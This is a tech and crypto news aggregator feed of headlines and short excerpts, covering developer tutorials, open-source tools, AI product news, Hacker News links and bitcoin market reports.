    Biggest Disney Bombs: The Sorcerer’s Apprentice Disney’s on a bit of a roller-coaster these days—Marvel and Star Wars aren’t exactly smashing box-office records, and newbies like Wish and Elio have barely made a ripple. To remind us it’s not all doom and gloom (or maybe it is?), The Weekly Planet is rolling out a mini-series on four colossal live-action flops. First up is 2010’s The Sorcerer’s Apprentice, starring Nicolas Cage, some half-baked magic and that memorable giant bird. Hosts James and Maso kick things off with their usual banter and deep dives—plus they’ve packed bonus podcasts, video commentaries and more over at bigsandwich.co. Watch on YouTube  ( 6 min )
    My Open-Source Contribution: Adding a feature to typescript-language-server
    I recently finished an open-source contribution that I’m actually really proud of. This time, I worked on the typescript-language-server project. I wanted to challenge myself with something more complex than what I normally do, and I came across Issue #956, which asked to support a new tsserver feature called --canUseWatchEvents. The idea behind the feature is that, in huge TypeScript projects, tsserver ends up watching thousands of files on its own, which can slow things down a lot. Newer versions of TypeScript offer a way for the editor to handle file watching instead, and only tell tsserver when something actually changes. VS Code already does this, but other editors that rely on the language server didn’t have this yet. I thought this would be a medium-level contribution, but it turned…  ( 7 min )
    How to add polylines to a map, change polyline color, and set polyline texture
    Read the original article:How to add polylines to a map, change polyline color, and set polyline texture Problem description How to add a polyline on a map, change its color, and set its texture? Background knowledge 1- Use the addPolyline interface to add a polyline . 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture Solution 1- Use the addPolyline interface to add a polyline . The line is black by default. 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture. This property supports two formats: ResourceStr and image.PixelMap. It is recommended to use an image without a background co…  ( 7 min )
    Why IDPs Are the Future of DevOps: A Platform Engineer’s Perspective
    ✅ 1.What is an IDP (Internal Developer Platform)? IDP = Internal Developer Platform In simple words: 🧩 2.Why we need IDP? (Real-world pain points) Companies create an IDP because: Before IDP (Pain) Developers continually ask DevOps: “Create my cluster” “Give me a CI pipeline” “Deploy my image” “Fix my YAML” DevOps becomes a helpdesk, overloaded with tickets. Delays cause: Slow releases Frustration Human errors Lack of standards After IDP (Solution) Developers get self-service, no dependency. DevOps burden becomes zero. Everything is standardized: same YAML templates same security same deployment flows Company productivity increases by 3×–10×. 🧭 3.Where to use IDP? IDP is used in every area of software engineering: Developers use IDP to: Create new microservice templates Run CI/CD pipelin…  ( 11 min )
    Transform Your LLM Apps: Monetize Conversations with Monetzly
    What if Your AI App Could Generate Revenue in Two Ways Simultaneously? The rapid growth of AI applications is exhilarating, but one fundamental challenge persists: monetization. Many developers find themselves on a tightrope, trying to balance user experience with the need for revenue. Enter Monetzly—the first platform that empowers developers to monetize their applications and earn from hosting relevant ads. Imagine a scenario where your AI app doesn't just provide value to users, but also generates income through dual revenue streams. With Monetzly, this is not just a dream; it’s a reality. Monetzly stands out in the AI landscape as the first dual-earning platform. Here’s how it works: Monetize Your App: No need for subscriptions or paywalls. You can keep your app accessible and user-…  ( 7 min )
    Make your Node.js APIs bulletproof using TypeScript Decorators 🛡️
    In the world of microservices and distributed systems, network failures are not a matter of "if", but "when". A single failing service can hang your entire application, consuming resources until it crashes. To prevent this, the Circuit Breaker pattern is essential. But let's be honest: implementing it often leads to messy code, with try/catch blocks wrapping every single API call. Today, I want to show you how to solve this elegantly using surge-kit, a lightweight, zero-dependency library I built for Node.js. With the release of v0.5.0, we can now use TypeScript Decorators to handle resilience declaratively. Usually, protecting a method looks like this: // The "Old Way" async getUser(id: string) { try { // Manual wrapping... repetitive and verbose return await circuitBreaker.fire…  ( 7 min )
    No other Icons Library Needed 🥶
    Iconify is here. It is OpenSource All in one Modern Ui Icons library. Just Paste this script in html head tag 🔗 Iconify by searching for your desired icon. Then, paste that tag in your body , whereever you wanna use it and Boom 🤯. Use CSS Font-Size to cusomtize the size of the icon and you can also do that by giving width & height to iconify-icon tag. Have you any suggestions or feedback? 🫠 Like & Follow us - If you want these kind of more things...  ( 6 min )
    How to Connect HubSpot in SSIS
    Introduction Learn how to connect HubSpot to SSIS using the ZappySys HubSpot connector to manage and integrate HubSpot data effortlessly. SSIS PowerPack: Download from the Customer Download Area or try the trial version. HubSpot Account: Make sure your HubSpot account is ready. Log in to your HubSpot account and create a Private App. Add a Data Flow Task in SSIS, and configure the HubSpot API Source. Enter your AccessToken in the configuration and test the connection. Preview the data from the HubSpot endpoint and save the configuration. Connecting HubSpot to SSIS via the ZappySys connector simplifies HubSpot data integration into your workflows. 👉 Read the full tutorial here for detailed steps and examples  ( 6 min )
    📸 How I Used Gemini 3 to Build a Retro Camera Tool
    I recently launched Retro Camera—a fun, browser-based tool that lets you capture photos with beautiful, classic vintage styling (date stamps, grain, captions) right from your webcam. But the real magic isn't in the simple HTML/CSS/Canvas—it's in how I used the Gemini 3 API to define and refine the filters' core aesthetic. The Challenge: Defining "Vintage" with Code That's where Gemini 3 stepped in. 🧠 Gemini 3: The Algorithmic Cinematographer I leveraged Gemini 3's advanced reasoning and multimodal understanding to solve this aesthetic problem in two powerful ways: Zero-Shot Aesthetic Definition Instead of spending hours tweaking color matrices, I used Gemini 3's powerful instruction-following to define the filters using natural language. Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: [Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: https://vatsalshah.in/tools/retro-camera  ( 7 min )
    Merging Multiple File Types into One PDF in C#
    In today's data-driven world, managing diverse document types efficiently is a common challenge for developers. Whether it's compiling reports, archiving project files, or streamlining document workflows, the need to consolidate various formats like Word documents, Excel spreadsheets, images, and HTML pages into a single, unified PDF file is ever-present. This process not only simplifies sharing and viewing but also ensures document integrity and consistency. However, manually converting and then merging these files can be tedious and prone to errors. This article addresses this technical pain point by providing a robust and practical solution. We will explore how to programmatically merge multiple file types into one PDF in C# using a powerful and user-friendly library: Spire.PDF for .NET…  ( 9 min )
    How to Update Custom Property Values in HubSpot with REST API Call
    Introduction If you need to update custom property values for HubSpot Contacts, Deals, or Accounts, here's a step-by-step guide to help you. Navigate to your Contact Properties in HubSpot. Click on Manage Properties and select Create Property. Choose the appropriate field type and options (e.g., dropdown, string, number). You can update custom fields using either HubSpot's API or an ODBC Driver. Example for updating a custom field: UPDATE Contacts Common Issue: Dropdown Property Error If you try to set a dropdown value not in the allowed list, you'll get a validation error. Always ensure the value is part of the predefined options. 👉 Read the full tutorial with examples and screenshots  ( 6 min )
    LLM Context Window Stress Testing: Reliability Under Load
    TL;DR: We stress-tested 6 LLMs under realistic context load. Standard LLM benchmarks fail to measure reliability under context stress - the ability to maintain accuracy and avoid hallucination as context windows fill. We developed a stress testing methodology that reveals catastrophic failures in popular models that score well on conventional benchmarks. Key Finding: LiquidAI's LFM2-8B, despite strong benchmark performance, achieved only 0.3% accuracy under context stress with catastrophic degradation patterns. In contrast, Qwen3-30B maintained 96.9% accuracy with graceful degradation across 108,000 tokens. Three stress test scenarios designed to measure real-world failure modes: 1. Stealth Needle Storm 40 secret codes hidden naturally in 128K tokens of mixed content (code, prose, technic…  ( 8 min )
    Stock Price Prediction With Machine Learning Model
    Colab-ready: improved stable pipeline with Optuna + LGB + XGB + stacking 1) ก่อนรัน ให้อัปโหลดไฟล์ผ่าน Colab UI: /content/train.csv, /content/test.csv, /content/sample_submission.csv 2) Copy-paste ทั้งหมดนี้ใน cell เดียวแล้วรัน ------------------------- ติดตั้งไลบรารี (ครั้งแรก) !pip install --quiet lightgbm xgboost scikit-learn pandas numpy matplotlib optuna import warnings import os SEED = 42 TRAIN_PATH = "/content/train (1).csv" for p in [TRAIN_PATH, TEST_PATH, SAMPLE_SUB_PATH]: train = pd.read_csv(TRAIN_PATH) print("train shape:", train.shape) train = train.sort_values('id').reset_index(drop=True) train['price'] = train['price'].astype(float) if 'price' not in test.columns: all_df = pd.concat([train[['id','price']], test[['id','price']]], i…  ( 10 min )
    The fastest way to start a Mithril + Ionic + Vite project in 2025
    Building mobile-ready web applications often involves a heavy stack. You have React, Angular, or Vue combined with a UI framework, and suddenly your bundle size is massive before you've even written a line of code. Enter Mithril.js. It's a modern client-side JavaScript framework for building Single Page Applications. It's small (< 10kb gzip), fast, and provides routing and XHR utilities out of the box. Combine that with Ionic Framework for native-like UI components and Vite for instant dev server start times, and you have a powerhouse stack for rapid development. But setting this up manually? Configuring Vite to handle Mithril's JSX (or Hyperscript), setting up Ionic's loader, configuring the router... it's a pain. That's why I built create-vitriol. create-vitriol is a scaffolding tool tha…  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Weird Science Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 teen sci-fi comedy Weird Science—starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith—and unpack all the sex, drugs, rock ’n’ roll (and yes, chains, whips, chips and dips) that made it a cult classic. They’re joined by producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, plus there’s a cheeky State Farm mention about bundling and saving with the Personal Price Plan®. Don’t forget to subscribe to The Ringer’s channels for more movie deep dives! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is trekking down the yellow brick road to roast The Wiz now that Wicked is back in theaters, serving up their signature snark and “sins” in a quickfire 15-minute breakdown. Think of it as a hilarious, consequence-free trip to Oz—no flying monkeys required. They’ve also dropped a stack of links to keep you hooked: their main site, YouTube channels, social media handles (Twitter, Instagram, TikTok), a sinful poll, Patreon for superfans, plus writer bios if you want to see who’s behind the sass. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes on the new KPop Demon Hunters flick with their signature blend of playful nitpicks and rapid-fire “sins,” poking fun at the fight choreography, plot leaps, and surprise cameos—all wrapped up in under 16 minutes of snarky commentary. Hungry for more? Hit up their main site or dive into spin-off YouTube channels (TVSins, CommercialSins), join the CinemaSins Discord/Reddit, check out Jeremy’s book, fill out a quick poll, or toss a coin to the Patreon squad for extra goodies. Watch on YouTube  ( 6 min )
    How BuildKit Parallelizes Your Builds
    When you run docker build, you might assume your Dockerfile instructions execute one after another, like a traditional script. But behind the scenes, BuildKit is doing something far more sophisticated. At the heart of BuildKit lies a DAG (Directed Acyclic Graph) solver that transforms your Dockerfile into an optimized execution plan, identifying all parallelizable operations while maintaining dependency order. We've previously covered how BuildKit works here, but today we're discussing how BuildKit parallelizes your builds to make them faster and more efficient. BuildKit parses build instructions into something called LLB (Low-Level Build) format, creating a dependency graph of all the operations needed to produce your final image: The DAG solver examines each instruction in your build a…  ( 9 min )
    Give Your SQLite Queries Their Own Workers: A Practical Guide for Node.js Developers
    SQLite is known for being lightweight, reliable, and surprisingly fast. In the Node.js ecosystem, one of the most popular libraries for working with it is better-sqlite3. The performance is excellent, but there is one important detail many developers overlook: the library is synchronous. When a heavy query is executed, the Node.js event loop stops until the database finishes its work. For small side projects, this never becomes noticeable. But once you introduce API routes, server-side rendering, analytics, background processing, or any data-heavy task, the synchronous nature starts to show its limits. In this guide, I’ll walk you through a practical way to eliminate those bottlenecks by moving your SQLite queries into worker threads. This approach keeps the simplicity of better-sqlite3 wh…  ( 8 min )
    I put an Air-Gapped Neural Network in my pocket (Python on Android)
    The Pocket Mainframe I shared my desktop AI defense system. Now I'm sharing the mobile unit. This is NEXUS v9, a sovereign network intelligence tool designed to run natively on Android (via Pydroid3 or Termux). Most "AI apps" on your phone are just wrappers sending your data to a cloud API. This is different. This is a complete, self-contained neural network running locally on my device. Running a complex defense system on a phone presents unique challenges: No Root Access: I can't easily access system-level process data. Dependency Hell: Installing numpy or scipy on Android can be tricky. Battery/Resources: Spawning 50 threads kills a battery instantly. To make this work, I had to rewrite the core engine: AsyncIO Network Scanner: Replaced threading with asyncio. It scans hundreds of ports/hosts concurrently without locking up the UI or draining the battery. Pure Python Fallbacks: I wrote a custom NeuralNetwork class that checks for numpy. If it's missing, it seamlessly degrades to a pure Python implementation of the dense layers and activation functions. It trains on-device. Synthetic Baselines: Since I can't always read raw CPU/RAM on non-rooted devices, the system builds its own baseline of "normal" behavior and detects anomalies relative to its own process state. Because "Personal Security" shouldn't require a server rack. I can walk into a network environment, pull out my phone, and have the same level of anomaly detection and analysis as I do at my desk—completely offline. Repo updated with the Android Branch: https://github.com/SovArcNeo  ( 6 min )
    Beyond Behavior Trees: Unleashing Smarter Robots with Executable Knowledge by Arvind Sundararajan
    Beyond Behavior Trees: Unleashing Smarter Robots with Executable Knowledge Tired of brittle robot behaviors that fall apart when the environment changes? Are you struggling to scale your autonomous systems beyond pre-programmed routines? There's a better way to build truly intelligent robots: move beyond imperative control flows and embrace knowledge-driven autonomy. Instead of explicitly coding every action sequence with behavior trees, imagine describing the robot's understanding of the world and letting it figure out the optimal course of action. That's the power of executable ontologies – dynamic knowledge graphs that empower robots to reason, adapt, and learn on the fly. Think of it like this: behavior trees are like a pre-written script, while an executable ontology is like giving …  ( 7 min )
    TestRail Manager: Automatiza tu Gestión de Pruebas con Python
    🚀 TestRail Manager: Automatiza tu Gestión de Pruebas con Python ¿Cansado de gestionar manualmente tus casos de prueba en TestRail? ¿Quieres automatizar el reporte de resultados desde tus tests? TestRail Manager es la solución que necesitas. TestRail Manager es una librería Python completa que te permite interactuar con la API de TestRail de forma simple y eficiente. Con ella puedes: ✅ Crear y gestionar proyectos, suites y casos de prueba ✅ Ejecutar test runs automáticamente ✅ Reportar resultados desde tus frameworks de testing (pytest, unittest, etc.) ✅ Generar métricas y reportes detallados ✅ Integrar TestRail en tu pipeline CI/CD Como QA Engineer, me encontraba constantemente: 📝 Creando casos de prueba manualmente en TestRail 🔄 Actualizando resultados uno por uno después de ca…  ( 10 min )
    Boost Developer Revenue with Monetzly's API Monetization Strategies
    Traditional Ads Don’t Work in AI Conversations. Here’s What Does. As the AI application landscape explodes, many developers face a common challenge: monetizing their innovations without disrupting the user experience. Enter Monetzly—the first dual-earning platform designed for AI conversations, where developers can monetize their apps while hosting relevant ads. Most advertising models rely on interruptive placements, which can clash with the seamless interactions users expect from AI applications. Imagine you're using a chatbot for customer service, and suddenly, an irrelevant banner ad pops up. It’s jarring and detracts from the experience. Monetzly reimagines this dynamic by introducing conversation-native advertising—ads that are integrated into the conversation itself, providing v…  ( 7 min )
    Building an Air-Gapped AI Defense System in Python (No Cloud APIs)
    The Sovereign Architecture Most modern AI development relies heavily on cloud APIs and external dependencies. I decided to go the other direction: Total Sovereignty. I am building NEXUS, an offline-first, air-gapped AI defense system designed to run on local hardware (Linux and Android/Termux). The goal is to create recursive intelligence that functions without an internet connection, ensuring privacy and zero data leakage. I avoid "black box" libraries where possible. My stack focuses on: Core: Python 3.x (Dependency-free where possible) GUI: Custom Tkinter interfaces (Cyberpunk/Matrix aesthetic for high-contrast visibility) Logic: Recursive "Breeding Cycles" rather than standard versioning. I spawn multiple instances, stress-test them, and the surviving code becomes the baseline for the next generation. Deployment: Runs natively on Linux or via Termux on Android. I recently refactored my modular agents into standalone applications. Pictured in the cover image are: ARCHITECT (Green): A Neural Enhanced Security Platform for Command & Control. SENTINEL (Blue): A Quantum-resistant defensive monitor for system metrics and threat detection. In a world of connected APIs, building "air-gapped" software forces you to understand the logic from the ground up. You can't call an API to solve the problem; you have to engineer the solution yourself. I am currently open-sourcing these tools to share this "Sovereign" philosophy with the community. Check out the repositories here: https://github.com/SovArcNeo Visualized above: Two of my modular agents ('Architect' and 'Sentinel') that I recently refactored into standalone applications.  ( 6 min )
    Day 1271 : Full Circle
    liner notes: Professional : Pretty good day. Had the normal meetings. Responded to some community questions. I've been thinking through how I want to refactor this project from one platform to using GitHub Codespaces since the code would be in a GitHub repo anyway. I've been trying to see how I can unwind what we've already done, but it looks like it would be a lot more work than starting from scratch again. To validate my hunch, I asked went to Google Gemini. Gemini 3 just came out and I'm on the Pro plan so I figured I would try it out with Deep Research. I explained what I want to achieve trying to be very specific. I uploaded a zip file that my part of the process creates so that it has an idea of what the input would look like. I even provided a link to a similar project I created usi…  ( 7 min )
    DSA Fundamentals: Linked Lists - Mastering Dynamic Data Structures
    Linked Lists are fundamental data structures that overcome key limitations of arrays, particularly when it comes to insertion and deletion operations. This comprehensive guide explores linked list theory and demonstrates essential patterns through practical LeetCode solutions. A Linked List is a linear data structure where elements (nodes) are stored in non-contiguous memory locations. Each node contains: Value: The data being stored Pointer: Reference to the next node in the sequence This non-contiguous memory allocation is the fundamental difference from arrays, enabling efficient insertions and deletions. Operation Array Linked List Random Access O(1) O(n) Search O(n) O(n) Insertion at Beginning O(n) O(1) Insertion at End O(1)* O(n) or O(1)** Deletion at Beginning O(n) O(…  ( 11 min )
    Website shaped like a brochure
    🚀 Excited to share my latest project: a Digital Brochure Template! https://payhip.com/b/DeCyj  ( 6 min )
    🖥️ Experiencia con Pop!_OS
    Expectativas iniciales • Objetivo: Contar con un sistema operativo que sirviera tanto para programar como para jugar. Instalación • Obstáculo principal: El instalador no ofrece opciones de multiboot. Experiencia de uso • Entorno gráfico (GNOME): Evaluación crítica • Aspectos negativos: Próximos pasos • Decisión: Probar otra distribución Linux que ofrezca mejor balance entre rendimiento, personalización y soporte para juegos.  ( 6 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ main theme “Starlit Journey” gets a playful deep dive, showing how its bubbly intro, bright verse, catchy chorus, dynamic bridge, and triumphant final choruses all work together to spark pure, joy-packed energy. With handy timestamps (0:00 Starlit Journey, 0:59 Intro, 2:47 Verse, 5:56 Chorus, 9:51 Bridge, 10:47 Final Choruses, 14:00 “I love music”) you can jump right to each section. Plus, there’s links to the creator’s Patreon, merch store, Discord, and Twitter for anyone hungry for more game-music goodness. Watch on YouTube  ( 6 min )
    JS Thread, Native UI Thread, The Bridge and the Shadow Layer in React Native - analogy
    Analogy: The Business Manager, The Translator, and The Scribe This analogy maps the classic React Native architecture onto a fast-paced corporate strategy session that needs external visualization and user feedback. Role: The Business Manager (your React components and logic). Action: They are responsible for the strategy and logic. They process all the raw data, decide what information is most important, and formulate the final plan of what the audience needs to see and interact with. Limitation: They only speak JavaScript (a proprietary foreign language) and cannot talk directly to the audience or draw on the whiteboard themselves. Role: The Single Foreign Language Translator. Action: This person is the only link. They take the Business Manager's complex strategic plans (JS code) and ser…  ( 9 min )
  • Open

    Explaining, at some length, Techmeme's 20 years of consistency
    Comments  ( 15 min )
    I learned Vulkan and wrote a small game engine with it
    Comments  ( 31 min )
    Apple's Problem with Bodies
    Comments  ( 20 min )
    3D printing with unconventional vase mode
    Comments  ( 8 min )
    California DMV approves map increase in Waymo driverless operations
    Comments  ( 7 min )
    Personal blogs are back, should niche blogs be next?
    Comments
    Is Matrix Multiplication Ugly?
    Comments  ( 15 min )
    LAPD Helicopter Tracker with Real-Time Operating Costs
    Comments
    The Untold History of Arduino
    Comments  ( 20 min )
    Arduino Terms of Service and Privacy Policy update: setting the record straight
    Comments  ( 10 min )
    The senior population is booming. Caregiving is struggling to keep up
    Comments  ( 93 min )
    We Remain Alive Also in a Dead Internet
    Comments
    Pixar: The Early Days A never-before-seen 1996 interview
    Comments  ( 20 min )
    We remember the internet bubble. This mania looks and feels the same
    Comments  ( 26 min )
    We Induced Smells With Ultrasound
    Comments  ( 12 min )
    Tuxedo Computers Cancels Snapdragon X1 Linux Laptop
    Comments  ( 7 min )
    Cloudflare Dashboard and Cloudflare API service issues
    Comments  ( 15 min )
    Brazil charges 31 people in major carbon credit fraud investigation
    Comments  ( 6 min )
    How/why to sweep async tasks under a Postgres table
    Comments  ( 4 min )
    McDonald's is losing its low-income customers: a symptom of the wealth divide
    Comments  ( 26 min )
    Helping Valve to Power Up Steam Devices
    Comments  ( 6 min )
    FizzBuzz with Cosines
    Comments  ( 9 min )
    How Cops Are Using Flock's ALPR Network to Surveil Protesters and Activists
    Comments  ( 9 min )
    Pivot Robotics (YC W24) Is Hiring for an Industrial Automation Hardware Engineer
    Comments  ( 2 min )
    Private Equity's New Venture: Youth Sports
    Comments  ( 10 min )
    You can make PS2 games in JavaScript
    Comments
    Show HN: Wealthfolio 2.0- Open source investment tracker. Now Mobile and Docker
    Comments  ( 6 min )
    Command Lines – AI Coding's Control Spectrum
    Comments  ( 17 min )
    The New AI Consciousness Paper – By Scott Alexander
    Comments  ( 27 min )
    Arduino published updated terms and conditions: no longer an open commons
    Comments  ( 8 min )
    Make product worse, get money
    Comments  ( 6 min )
    XBMC 4.0 for the Original Xbox
    Comments  ( 22 min )
    Is C++26 getting destructive move semantics?
    Comments  ( 8 min )
    We should all be using dependency cooldowns
    Comments  ( 3 min )
    More tales about outages and numeric limits
    Comments
    Building a Minimal Viable Armv7 Emulator from Scratch
    Comments  ( 27 min )
    EXIF orientation info in PNGs isn't used for image-orientation
    Comments  ( 4 min )
    Pixel Art Tips for Programmers
    Comments
    Making a Small RPG
    Comments
    Brexit Hit to UK Economy Double Official Estimate, Study Finds
    Comments
    How a French judge was digitally cut off by the USA
    Comments  ( 7 min )
    Roundtable (YC S23) Is Hiring Two Sales Development Representatives (SDRs)
    Comments  ( 3 min )
    Germany: States Pass Porn Filters for Operating Systems
    Comments  ( 7 min )
    FAWK: LLMs can write a language interpreter
    Comments  ( 5 min )
    HP and Dell disable HEVC support built into their laptops' CPUs
    Comments  ( 8 min )
    It's Hard to Build an Oscillator
    Comments
    The Qtile Window Manager: A Python-Powered Tiling Experience
    Comments  ( 23 min )
    Olmo 3: Charting a path through the model flow to lead open-source AI
    Comments  ( 114 min )
    Streaming platform Twitch added to Australia's teen social media ban
    Comments  ( 17 min )
    While Eyes Are on Takaichi, Taiwan's Lai Is Quietly Redefining the Status Quo
    Comments
    Measuring Latency (2015)
    Comments  ( 22 min )
    Nursing Excluded as 'Professional' Degree by Department of Education
    Comments
    Kyber vs. RSA-2048
    Comments
    Why top firms fire good workers
    Comments  ( 6 min )
    Homeschooling hits record numbers
    Comments  ( 17 min )
    Prozac 'no better than placebo' for treating children with depression, experts
    Comments  ( 15 min )
  • Open

    OpenAI is ending API access to fan-favorite GPT-4o model in February 2026
    OpenAI has sent out emails notifying API customers that its chatgpt-4o-latest model will be retired from the developer platform in mid-February 2026,. Access to the model is scheduled to end on February 16, 2026, creating a roughly three-month transition period for remaining applications still built on GPT-4o. Sources familiar with the matter emphasized that this timeline applies only to the API. OpenAI has not announced any schedule for removing GPT-4o from ChatGPT, where it remains an option for individual consumers and users across paid subscription tiers. Internally, the model is considered a legacy system with relatively low API usage compared to the newer GPT-5.1 series, but the company expects to provide developers with extended warning before any model is removed. The planned re…
    Salesforce Agentforce Observability lets you watch your AI agents think in near-real time
    Salesforce launched a suite of monitoring tools on Thursday designed to solve what has become one of the thorniest problems in corporate artificial intelligence: Once companies deploy AI agents to handle real customer interactions, they often have no idea how those agents are making decisions. The new capabilities, built into Salesforce's Agentforce 360 Platform, give organizations granular visibility into every action their AI agents take, every reasoning step they follow, and every guardrail they trigger. The move comes as businesses grapple with a fundamental tension in AI adoption — the technology promises massive efficiency gains, but executives remain wary of autonomous systems they can't fully understand or control. "You can't scale what you can't see," said Adam Evans, executive vi…
    Google’s ‘Nested Learning’ paradigm could solve AI's memory and continual learning problem
    Researchers at Google have developed a new AI paradigm aimed at solving one of the biggest limitations in today’s large language models: their inability to learn or update their knowledge after training. The paradigm, called Nested Learning, reframes a model and its training not as a single process, but as a system of nested, multi-level optimization problems. The researchers argue that this approach can unlock more expressive learning algorithms, leading to better in-context learning and memory. To prove their concept, the researchers used Nested Learning to develop a new model, called Hope. Initial experiments show that it has superior performance on language modeling, continual learning, and long-context reasoning tasks, potentially paving the way for efficient AI systems that can adapt…
  • Open

    Roundtables: How AI Is Changing the Economy
    There’s a lot at stake when it comes to understanding how AI is changing the economy at large. What’s the right outlook to have? Join Mat Honan, editor in chief, for a special conversation with David Rotman, editor at large, and Richard Waters, Financial Times columnist, exploring what’s happening across industries and the market. Going live on December…  ( 20 min )
    The Download: the secrets of vitamin D, and an AI party in Africa
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. We’re learning more about what vitamin D does to our bodies At a checkup a few years ago, a doctor told me I was deficient in vitamin D. But he wouldn’t write me…  ( 22 min )
    We’re learning more about what vitamin D does to our bodies
    It has started to get really wintry here in London over the last few days. The mornings are frosty, the wind is biting, and it’s already dark by the time I pick my kids up from school. The darkness in particular has got me thinking about vitamin D, a.k.a. the sunshine vitamin. At a checkup…  ( 21 min )
  • Open

    How to Manage Your Python Projects with Poetry
    Python development looks simple from the outside. But managing real projects is rarely easy. You need to install packages, update them, avoid version conflicts, create virtual environments, and prepare your project for distribution. Many beginners th...  ( 8 min )
    How to Use the Django REST Framework - Build Backend APIs with DRF
    When you click on most backend development tutorials, they often teach you what to do, not how to think.That’s why many developers only realize their mistakes after they start building. So, how does one actually think like a backend developer? Before...  ( 10 min )
    How to Use NLP Techniques and Tools in Your Projects [Full Handbook]
    Nowadays, computers can comprehend and produce human-like language thanks to Natural Language Processing. And this opens up numerous opportunities for you as a developer. This guide will teach you how to create NLP projects from scratch. It includes ...  ( 30 min )
    When NOT to use AI in your hackathon project with MLH winners Cindy Cui and Alison Co [Podcast #198]
    Today Quincy Larson interviews Alison Co and Cindy Cui, two university students who won the NW Hacks hackathon with their tool that helps people who are losing their vision learn to read Braille. He met them when GitHub invited them to their big San ...  ( 5 min )
  • Open

    Grayscale's DOGE, XRP ETFs to Go Live on NYSE Monday
    Rival crypto asset manager Bitwise launched its XRP ETF earlier this week.  ( 33 min )
    ICP Breaks Major Support as Volume Spike Confirms Accelerated Downtrend
    A steep selloff pushed ICP below the $4.33 floor, with exceptional volume marking the session’s decisive breakdown.  ( 34 min )
    BitMine Immersion Sitting on $4B Loss on Ether Bet as Analyst Warns of Structural issues
    Tom Lee's company could trap shareholders amid low staking yields, hefty embedded fees and vanishing NAV premium, 10x Research founder Markus Thielen warns.  ( 33 min )
    Japanese Bitcoin Treasury Firms Keep Beating BTC. Tax Policy Makes Outperforming U.S. Peers the Easy Part
    While U.S.-listed bitcoin treasury firms struggle to outperform ETFs, Japan’s harsh crypto tax code sends investors into DAT stocks, making outperformance easy.  ( 34 min )
    HBAR Crashes 11.5% Breaking Below Key Support Levels
    Trading volume explodes 98% above average as institutional sellers drive Hedera token through critical technical barriers.  ( 34 min )
    Michael Saylor Speaks Out Again as MSCI Concerns Mount
    JPMorgan warning on potential MSCI exclusion sparks fresh pressure, prompting another public response from the executive chairman.  ( 33 min )
    U.S. House Bill Would Allow Federal Taxes in BTC While Aiding U.S. Reserve
    Rep. Warren Davidson introduced legislation that allows bitcoin tax payments without incurring capital gains to beef up the U.S. Strategic Bitcoin Reserve.  ( 35 min )
    Fanatics Enters Prediction Markets via Crypto.com Partnership
    The product is set to launch in the next couple weeks, Fanatics CEO Michael Rubin said on CNBC.  ( 33 min )
    Coinbase to Snap Up Solana-Based DEX Vector as Acquisition Spree Continues
    The exchange’s latest deal folds Solana-native Vector into its consumer trading arm, extending a rapid M&A streak.  ( 33 min )
    BTC Traders Brace for Price Crash to $75K; No Bottom Seen: Research Firm
    Put options have dominated trading activity over the past week.  ( 33 min )
    CoinDesk 20 Performance Update: Bitcoin (BTC) Price Falls 3.3% as Index Declines
    Bitcoin Cash (BCH) was also trading lower, down 2.3% from Thursday.  ( 31 min )
    GSR Expands Institutional Platform to Raise Transparency, Control in Crypto Trading
    GSR upgraded GSR One, unifying market making, over-the-counter trading and treasury services as demand for institutional-grade crypto infrastructure increases.  ( 34 min )
    Attention Bitcoin Bulls: BTC is Now at Levels Preceding FTX-Era Extremes
    Short-term realized-loss dominance is typical of market stress, but the magnitude this week stands out.  ( 35 min )
    Bitcoin Bounces Above $84K as Fed's Williams Puts December Rate Cut Back on Table
    Previously having essentially written off chances of further monetary ease in 2025, interest rate traders are now pricing more than a 70% chance of a rate cut at the Federal Reserve's December meeting.  ( 34 min )
    The Canary in the Coalmine: Crypto Daybook Americas
    Your day-ahead look for Nov. 21, 2025  ( 39 min )
    Snipers Made $1.3M on Jesse Pollak’s Creator-Coin Debut on Base
    Two traders captured more than $1.3 million in profits by exploiting Base’s new “flashblocks” system during the debut of the network founder’s creator coin.  ( 34 min )
    Crypto Markets Today: Bitcoin, Ether Slide as Liquidity Crisis Fuels Heavy Sell-Off
    Crypto markets plunged toward April lows on Friday as a lingering liquidity crunch amplified price swings. Bitcoin and ether fell more than 10%.  ( 35 min )
    Ark Invest Adds Nearly $40M of Crypto Equities for Second Day as Sell-Off Continues
    The St. Petersburg, Florida-based investment manager added to its holdings in Coinbase, Bitmine Immersion Technologies, Circle Internet and Bullish.  ( 32 min )
    Exactly One Year After Strategy’s All Time High, the Bitcoin-Linked Slide Intensifies
    Strategy's stock price has fallen sharply alongside bitcoin, marking one of its worst drawdowns since it adopted a bitcoin treasury strategy in 2020.  ( 34 min )
    Bitcoin Suffers Flash Crash to $80K on Hyperliquid Amid Market Volatility
    BTC dropped by $3K within a minute on Hyperliquid.  ( 32 min )
    DOGE Chart Turns Fully Bearish After Multi-Level Support Failure
    Technical indicators show Dogecoin is deeply oversold, trading below its 50-day and 200-day moving averages, signaling continued trend weakness.  ( 35 min )
